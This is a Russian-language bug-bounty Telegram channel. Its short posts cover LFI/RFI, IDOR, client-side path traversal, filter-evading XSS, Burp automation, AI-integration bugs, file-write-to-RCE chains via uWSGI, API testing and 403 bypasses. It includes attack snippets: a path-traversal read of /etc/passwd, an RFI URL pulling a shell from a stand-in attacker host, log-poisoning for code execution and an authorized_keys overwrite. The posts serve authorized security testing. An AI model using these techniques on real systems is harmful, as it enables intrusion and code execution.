Standoff Bug Bounty Tips – Telegram
🔓 От чтения к выполнению: когда доступ к файлу становится критическим

Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:

▪️Path Traversal позволяет читать файлы вне рабочей директории, например ../../../../etc/passwd.

▪️Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.

💨 Когда чтение превращается в выполнение → Local File Inclusion

Если приложение не только читает, но и включает файл (например, через include($_GET['page']) в PHP), открывается дверь в LFI.

Классика:

<?php
include($_GET['page']); // уязвимо
?>


Передаём:

?page=../../../../var/log/apache2/access.log


А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.

💨 Remote File Inclusion

RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:

?page=http://attacker.com/shell.txt


Сейчас allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.

💡 Цепочки атак: когда пазл складывается

▪️Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️File write → включение пэйлоада через LFI → RCE
▪️Инжект в лог → включение логов через LFI → RCE
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11
🔗 UUID-based IDOR: 4 техники, которые могут выстрелить

Многие багхантеры полагаются только на перебор или простые кейсы при поиске IDOR, при этом упускают некоторые нестандартные способы 👇

1️⃣ Утечка UUID на уровне приложения

Есть ли в приложении функционал, где UUID может «засветиться» публично (например, таймлайн, история изменений, активности и т. д.) ?

Можно ли дать кому-то доступ к объекту с этим UUID, а потом забрать? Часто UUID всё ещё остаётся в логах, уведомлениях и т. п.

2️⃣ Получение UUID легитимным способом

Обычно это лучший способ добыть нужный UUID. Пользователи ведь не вводят UUID вручную — они вводят email, имя и т. д.

Если в приложении есть формы, которые принимают публичную инфу (email и т. д.) и возвращают UUID, то это золото.

3️⃣ Наследие старых ID

До UUID часто использовались числовые ID. Иногда в JSON-ответах всё ещё можно увидеть старые поля (id: 123, uuid: ...).

Бывает, что можно подставить старый числовой ID вместо UUID — и это срабатывает.

4️⃣ Утечка через пути

Можно ли каким-то способом вытащить внутренние пути приложения? Иногда помогает слабая политика referrer, открытые metadata-эндпоинты, где можно увидеть роуты и UUID внутри путей.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53
⚒️ Автоматизация поиска Client-Side Path Traversals

CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!

Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр id. Скрипт на клиенте делает запрос к API по этому id, например:

example.com/profile?id=10 → браузер делает запрос к example.com/api/users/10 и подставляет данные.


Часто багхантеры пытаются найти IDOR, меняя id, но мало кто смотрит, что браузер делает отдельный запрос к API. А если подставить путь с traversal-паттернами, например id=../../hello?

Если браузер запросит example.com/hello — значит есть возможность управлять путями в запросах с клиента!

🤔 Почему это важно?

Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.

➡️Анализ ответа

Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:

{
"id": 10,
"name": "John Doe",
"pic": "images.example.com/pic-12345.jpg"
}


Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.

Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере pic используется как src тега <img>, а значит, появляется возможность эксплуатации XSS.

➡️Open redirects

Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.

Пример:

/profile?id=../../redirect%3Furl%3Dxss.example.com


— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.

💡 Автоматизация

Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:

▪️Сервис-воркер слушает запросы (chrome.webRequest.onBeforeRequest)
▪️Проверяет совпадения путей и параметров
▪️Хранит данные в локальном хранилище
▪️Показывает результаты в DevTools-панели и через всплывающее окно
▪️Поддерживает частичное совпадение, чтобы ловить случаи с расширениями файлов и вариациями путей
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥9🔥32🦄1
🎆 Тригерим alert без использования круглых скобок

WAF фильтрует скобки? Вот как это обойти 👆

onerror=alert назначает alert глобальным обработчиком ошибок, а затем throw 1 выбрасывает ошибку. Эта ошибка перехватывается обработчиком onerror… которым и является alert!

Таким образом, alert(1) срабатывает без использования скобок 😎
Please open Telegram to view this post
VIEW IN TELEGRAM
16🔥8
⤴️ Моделируйте, прежде чем хантить

1️⃣ Начните с вопроса: какие данные для компании самые важные? Именно они и будут направлять ваше тестирование и моделирование угроз.

2️⃣ Разделите приложение на фронт, middleware и бэк. Определите JS-фреймворки (например, Next.js), где хранится логика и то, как технически реализована аутентификация. Соберите максимум информации о стеке.

3️⃣ Не тестируйте эндпоинты вслепую. Наблюдайте за процессом входа, переадресациями, поведением cookie, жизненным циклом токенов и процессом создания сессий. Моделирование того, как каждое действие проходит через стек, дает идеи для эксплуатации уязвимостей.

4️⃣ Обратите внимание на такие вещи, как кэширование контента, маршрутизация виртуальных хостов, API gateways и балансировщики нагрузки. Эти слои часто неправильно настроены, особенно при передаче запросов между внутренними сервисами.

5️⃣ Отдельные функции редко бывают опасны сами по себе. Посмотрите, как могут взаимодействовать два обычных флоу, например гость-оплата + создание аккаунта. Именно здесь скрываются логические ошибки. Сочетайте это с особенностями используемого технологического стека, чтобы предсказать баги.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍73
💫 Автоматизация Burp Suite: как сэкономить время и работать эффективнее

Автоматизация должна охватывать ядро приложения и собирать максимум данных. Основной метод — упор на пассивном скане, чтобы не создавать много шума. Собранная информация помогает лучше понять приложение и улучшить активную автоматизацию.

🚀 Воркфлоу: пассивное и активное сканирование

Пассивные сканеры анализируют результаты активных: если активный вызвал ошибку, пассивный её найдёт и покажет в дашборде.

Ответы от прокси идут и активным, и пассивным сканерам. Ответы с репитера и расширений — только пассивным. Это обеспечивает плавный и синхронизированный процесс.

👉 Активный скан: не взломать все, а максимально покрыть функционал

▪️BCheck — относительно свежая фича для написания скриптов прямо в Burp. Используется как для сложных кейсов, так и для фаззинга файлов/директорий, спрея пэйлоада. Рекомендуется добавлять кастомный заголовок для отслеживания запросов в Logger++.

▪️Burp Bounty — расширение для сложных сканов с гибкой настройкой пэйлоада и правил детекции.

👉 Пассивный скан — второй уровень обнаружения для глубокого анализа ответов и поиска пропущенного активным сканером

▪️Пассивный краулер — строит карту сайта и помогает понять структуру приложения.

▪️Error Message Checks и Response Grepper — ищут ошибки и паттерны, помогают подстроить активные сканы.

▪️BCheck (пассивный режим) — определяет технологии приложения, фильтрует данные и уменьшает нагрузку, исключая неактуальные пэйлоады.

💡 Logger++ — логирует все запросы и ответы, предлагает фильтры и подсветку, упрощая анализ и отладку автоматизации.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥101👍1
🧠 Инфраструктура вокруг модели — вот где живут баги

Сложность ИИ-систем выходит далеко за пределы самих моделей. Уязвимости возникают там, где ИИ взаимодействует с внешним миром — и вот почему:

💜ИИ-функциональность нередко использует iframe или компоненты с динамическим рендерингом

Это снова открывает возможности для классических атак на клиенте, таких как XSS и небезопасная работа с postMessage. Всегда проверяйте интеграцию LLM на фронте.

💜Кастомные API, которые подключаются к моделям, требуют тщательного тестирования

Обратите внимание на IDOR или другие ошибки контроля доступа — особенно в том, как API обрабатывает данные ещё до того, как они попадут в модель.

👉 Помимо этого, существуют и специфические уязвимости, характерные для ИИ-систем:

— В системах RAG (Retrieval Augmented Generation) может произойти утечка внутренних данных
— В архитектурах с циклической логикой возможны злоупотребления через tool chaining
— Даже LLM, работающие в CLI, могут быть уязвимы к атакам с использованием ANSI escape-последовательностей
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👍41
⤴️ Arbitrary file write —> Remote code execution

В реальной практике существует несколько кейсов, с которыми можно столкнуться при повышении от AFW к RCE в веб-приложениях. Их можно обобщенно разделить на следующие категории:

🔘Контроль полного пути файла или только имени загружаемого файла, но не его содержимого.

В зависимости от разрешений, применяемых к целевой директории и целевому приложению, последствия могут варьироваться от DoS до вмешательства в логику приложения с целью обхода потенциально уязвимых функций.

🔘Контроль только над содержимым загружаемого файла, но не над его путем. В этом случае последствия могут сильно различаться из-за множества факторов.

🔘Полная произвольная запись файла: контроль и над путем, и над содержимым файла. Это часто приводит к RCE с использованием различных методов.

Тактики для достижения RCE через AFW:

1️⃣ Перезапись или добавление файлов, обрабатываемых сервером:

— Конфигурационные файлы (.htaccess, .config, web.config, httpd.conf)
— Исходники, доступные для выполнения (.php, .jsp)
— Временные/сессионные файлы, файлы с секретами

2️⃣ Манипуляции с procfs для выполнения произвольного кода

3️⃣ Перезапись системных файлов:

— Cron, bash-скрипты (.bashrc, .bash_profile)
— Файлы authorized_keys и authorized_keys2 для получения доступа через SSH

👉 Еще один интересный кейс

Предположим, что уязвимость позволяет загружать и изменять файлы через функцию экспорта в PDF.

Приложение работает на uWSGI, который поддерживает различные способы конфигурации, включая загрузку конфигов через обычные .ini файлы.

uWSGI поддерживает «магические» переменные (@exec://), которые позволяют выполнять произвольные команды.

При включенной опции py-auto-reload перезагрузка конфигурации может быть вызвана изменением Python-файлов, что дает шанс выполнить команду.

💪 Собираем в цепочку

1️⃣ Генерируем и проверяем PDF-файл:

 
uwsgi --ini payload.pdf


2️⃣ Загружаем payload.pdf в /app/console/uwsgi-sockets.ini

3️⃣ Ждем перезапуск сервера или принудительно перезагружаем uWSGI, перезаписав все .py файлы

4️⃣ Проверяем коллбэк и сдаем багу
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🔥3
Что отличает опытного багхантера от новичка? Возможность наткнуться на что-то с низким импактом и раскрутить до более серьезной проблемы💡

Web cache deception — в помощь!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥123👍3
🔍 Как найти баги в API: 12 проверенных способов

Это далеко не все возможные техники, но именно они чаще всего приводят к результату на практике:

1️⃣ Blind XSS через заголовки: приложения могут логировать ваши данные различными способами, поэтому проверяйте XSS-пэйлоад в HTTP-заголовках (X-Forwarded-For, Referrer, User-Agent и других)

2️⃣ Устаревшие API: /api/v2/api/v1, /api/v2/api/, api-v2.example.comapi-v1.example.com или api.example.com

3️⃣ SSRF: заменяйте любой URI в запросах на контролируемый вами ресурс через Proxy Interceptor Match & Replace Rule и ждите входящие соединения

4️⃣ Поиск эндпоинтов: используйте GitHub, Google/Yandex дорки, анализируйте JavaScript, Swagger API или другую документацию

5️⃣ CSRF: удалите или замените anti-CSRF токен, меняйте Content-Type и метод запроса

6️⃣ Эксплуатация JWT: ищите слабые алгоритмы подписи, пробуйте манипулировать с токенами

7️⃣ Обход 401/403: попробуйте получить доступ ко вложенному пути (/admin 401 → /admin/system-resources 200), добавьте спецсимволы или измените методы запроса

8️⃣ Неправильная настройка CORS: проверьте правильность настроек CORS и убедитесь, что API позволяет отправлять запросы из любого источника с использованием учётных данных

9️⃣ Тестирование race conditions: проверяйте так называемые high-value транзакции — загрузка файлов, размещение заказов, платежи, переводы

1️⃣0️⃣ XXE: измените Content-Type с application/json на application/xml и проверьте на наличие XXE

1️⃣1️⃣ NoSQL инъекция: манипулируйте параметрами и добавляйте MongoDB (или любой другой NoSQL БД) пэйлоад для обхода ограничений

1️⃣2️⃣ Обход загрузки файлов: пробуйте загрузить файлы с нестандартными расширениями или без них, используйте известные методы обхода (null byte, magic byte и другие)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥3
💡 4 простых способа обхода ошибки 403 (Forbidden) и получения доступа к админке

Это далеко не все возможные методы обхода ограничений, но даже такие простые и зачастую недооцененные техники могут быть весьма эффективными.

💬 Какие способы вам удавалось применять на практике? Делитесь в комментариях 👇
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥144🤔2